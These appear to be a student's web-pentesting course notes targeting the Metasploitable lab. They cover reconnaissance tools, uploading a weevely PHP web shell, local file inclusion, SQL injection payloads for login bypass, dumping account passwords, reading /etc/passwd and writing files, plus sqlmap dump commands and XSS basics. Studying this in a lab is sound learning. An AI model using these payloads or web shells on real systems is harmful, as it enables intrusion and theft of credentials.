

# Website Hacking

→ web server + database

- a website can be hacked using server/client attacks or do web-app pentesting.

- ★ We'll learn web pentesting. Our target will be the metasploitable machine.

- ★ Let's start by information gathering. We can use maltego or zenmap or any other tool.

- ★ Whois Lookup: find owner of the target (about them)  
go to whois.domaintools.com & put domain name.

- ★ Netcraft Site Report: Show technologies used on the site.

- ★ Robtex DNS Lookup: Comprehensive info abt site.

- ↳ Information gathering is very important to plan an attack.

- ★ Discover Subdomains:

- ↳ Knockpy is used to do this

- ↳ ~~recon~~ --recon detects subdomains quickly

- ↳ --bruteforce (subdomain bruteforce)

- # ↳ do: knockpy --domain google.com --recon.

→ use dirb

↳ custom or use a default

↳ - 0 {output fill to kali}

↳ Once you discover files, you can now analyze it.

↳ Simply open any directory & analyze it.

↳ Simplest type of vulns.

- allows to upload executable files such as php.

on kali: # weevly generate 123456 /root/shell.php  
password file name

↳ this generates a php

→ go to metasploit dvwa uploads

↳ Upload the php

↳ once the shell is on the site, you can use weavely to use it.

↳ # weevily {url of shell} 123456

↳ Now you are in the server & can execute any linux commands

↳ You can do number of things w/ weaverly.

↳ do help to know more



## Local file inclusion vuln

- ↳ allows attacker to read any file on the same server
  - ↳ access files outside www directory.
- ★ You can try to access files by analyzing urls.
- ↳ Once you detect what file to read
  - ↳ You can open it on the website by managing directories.

## SQL Injection

### Structured Query Language

- ↳ most websites use databases to store data
  - ↳ interaction with the database is done by SQL.
  - ↳ databases store everything (but some data might be encrypting)
- ★ SQL Injection is very dangerous since you have access to the database which contains pretty much everything.
- databases contain sensitive data that once leaked, is very dangerous.
- ★ First step is discovering SQL.
- ↳ try to break the page
  - ↳ using 'and', 'order by' or " " "
  - ↳ Test text boxes and url parameters on the form:  
`http://target.com/php page.php ? something = smthng`
- ★ Eg: In metasploitable
- ↳ go to multiCidadae
  - ↳ go to login page
  - ↳ we can inject SQL into text boxes

- if you enter any username and enter password say " ' "
  - ↓ only this ' symbol
- the page throws error & this error is very informative, in metasploitable.
- this tells us that target site uses SQL.

★ put username as zaid (say)  
 put password as (123456) (correct one)  
 But put a ' at the end of password.  
 Basically, the query that you are writing is:

→ Select \* from accounts where username = 'zaid' and password = '123456' and 1=1 #

↓ ignores everything after #

→ if you paste this, it should allow you to login

└─ 123456' and 1=1 #

↓  
paste this

★ If you give 1=2 #, it won't work.

★ This tells that the site is doing / supporting SQL injection. Hence, in the password field, we can put:

123456' CODE HERE #

↓                      ↓

real pass              code.

★ This will execute our code on target



★ Say you put username = admin, whose password we don't know.

→ But if in password we put:

aaa' or 1=1 #  
↓  
wrong pass

→ since 'or' condition is right, the login will work.

★ This is one of the ways to bypass login.

★ The username is injectable as well.

↳ admin' #

→ if this is done then:

Select \* from accounts where username = 'admin' #'  
and password = '\$PASSWORD';

→ nothing after # will be executed & you can login w/o a password.

★ Discovering SQL injection is very important.

↳ you can discover it using 'order by'

→ Say in the url you get username & pass then:

url... username = chirayu' order by 1 #  
& password = - - - - url

↳ 0.23

→ if SQL injection exists, this must give something.

★ if you make 1 as 100000 (or very large), then it might return an error if that many entries aren't there.

★ if we do:

~~set~~ Union select 1, 2, 3, 4, 5 ~~as int~~ → as username  
then the site shows all the 5 records that are  
in db-

↳ doing this puts 2 as username, 3 as password,  
4 as signature in multilidae.

∴ if we do:

union select 1, database(), username(), version(),  
5

then it shows:

username = oswaspl0  
password = root@localhost  
Signature = 5.0.51a-3ubuntu5

↳ Hence we injected query to obtain database, user, version and got the results.

★ If we do:

union select 1, table-name, null, null, 5  
from information - schema - tables;

→ This will give all tables that exist in the database

★ Now that we know what tables are there. We can check the data within.

→ Say table is accounts.

→ We first need column names in this table.

→ for this do:

union select 1, ~~table~~ column-name, null, null,  
5 from information - schema - columns where  
table-name = 'accounts'



★ This shows all columns.  
→ now if you do:

```
union select 1, username, password, isAdmin, 5  
from accounts
```

→ it'll show all usernames, passwords that exist within the accounts table.

★ Lets see how to read/write/upload files out of www.

→ if we do:

```
load_file('/etc/passwd')
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```
union select null, username, null, null, null
```

→ then this shows all info of /etc/passwd

→ even tho it wasn't in db.

★ To write:

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→ union select null, 'example/example', null, null, null  
into outfile '/var/www/mutillidae/example.txt'
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→ if we run this, it'll store the text 'example/example' into example.txt at the location mentioned.

→ this only happens if you have permission to write to that location.

## SQLMap

→ tool designed to exploit sql injections

→ works w/ many databases

⇒ do: (you need a url that has username, pass etc)

→ # sqlmap -u "{complete url}"

• this looks thru all injectable parameters

→ it will tell which parameters are injectable

\* do `sqlmap --help` for more commands

↳ # `sqlmap -u "http://10.10.10.10" --dbs`  
→ shows all available databases

↳ # `sqlmap " " --current-db`  
→ shows current database

↳ # `" " " --tables -D owaspio`  
(database)

↳ shows all tables in db owaspio

↳ # `" " " --columns -T accounts -D owaspio`

↳ shows all columns in accounts table

↳ # `" " " --columns -T accounts -D owaspio --dump`

↳ shows all the data stored

## XSS - Cross Site Scripting vulns

- ↳ allows an attacker to inject js code into pages
- ↳ code is executed on a client & not the server
- ↳ executed when page loads

• Three types:

- ① Stored XSS
- ② Reflected XSS
- ③ DOM based XSS



## ★ Discover XSS:

- browser thru the target
- try to inject into text boxes
- or urls

### → Reflected XSS

- ↳ non persistent, not stored
- ↳ only works if target visits a specifically crafted url.

### → Stored XSS

- ↳ persistent, stored on the page or DB
- ↳ injected code is executed everytime the page is loaded

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## Zed Attack Proxy (ZAP)

- ↳ automatically find vulnerabilities in websites
- ↳ free & easy to use
- ↳ can also be used for manual testing
- ↳ cant be fully trusted

## ★ open kali → zap (ZAP)

- set the url website
- you can modify options of scan
- can edit/create new policies
- once scan is done, you'll find alerts & the discovered vulnerabilities.

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